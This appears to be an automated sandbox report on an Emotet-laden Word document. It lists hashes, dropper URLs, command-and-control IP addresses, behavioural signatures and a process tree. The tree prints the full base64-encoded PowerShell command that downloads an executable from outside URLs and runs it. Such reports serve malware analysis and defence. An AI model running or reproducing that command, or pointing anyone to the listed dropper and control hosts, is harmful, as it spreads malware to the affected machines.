Analysis

  • max time kernel
    30s
  • max time network
    36s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31-07-2020 16:57

General

  • Target

    db038caf7ec70d1ba7ea29fa7407808af17f4e0de3bf1308f3d7b92be2ae3731.doc

  • Size

    168KB

  • MD5

    a5621aedc6075f9e23856ddb76cb1a95

  • SHA1

    976fdd67e6e694e57741880019b1867f1b668945

  • SHA256

    db038caf7ec70d1ba7ea29fa7407808af17f4e0de3bf1308f3d7b92be2ae3731

  • SHA512

    cd85780dc3b6a344ea2e3d954739f551b99b9ed0d90e39d7e17d9b14cf7eb377f13cbc076058feb9f80cbc8aa98ae88f0ae24c76de1a06d41f889ee784dd3b9c

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://moshauer.de/B9kxs4x8n6272826/

exe.dropper

http://geted.de/wwvv2/sTZFOgzh/

exe.dropper

http://suhailacademy.com/wp-admin/oSHA/

exe.dropper

http://smashingcake.com/blog/HNpury/

exe.dropper

https://taolodge.com/pz/YbU2chs1980/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Modifies registry class 280 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\db038caf7ec70d1ba7ea29fa7407808af17f4e0de3bf1308f3d7b92be2ae3731.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1868
  • C:\Users\Admin\432.exe
    C:\Users\Admin\432.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1148
    • C:\Windows\SysWOW64\msisip\dsuiext.exe
      "C:\Windows\SysWOW64\msisip\dsuiext.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1584

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1148-11-0x00000000003B0000-0x00000000003BC000-memory.dmp

    Filesize

    48KB

  • memory/1584-14-0x0000000000330000-0x000000000033C000-memory.dmp

    Filesize

    48KB

  • memory/1612-2-0x0000000009560000-0x0000000009564000-memory.dmp

    Filesize

    16KB

  • memory/1612-5-0x000000000B6D0000-0x000000000B6D4000-memory.dmp

    Filesize

    16KB

  • memory/1612-6-0x000000000C750000-0x000000000C754000-memory.dmp

    Filesize

    16KB

  • memory/1612-7-0x0000000007B20000-0x0000000007D20000-memory.dmp

    Filesize

    2.0MB

  • memory/1612-8-0x0000000007B20000-0x0000000007D20000-memory.dmp

    Filesize

    2.0MB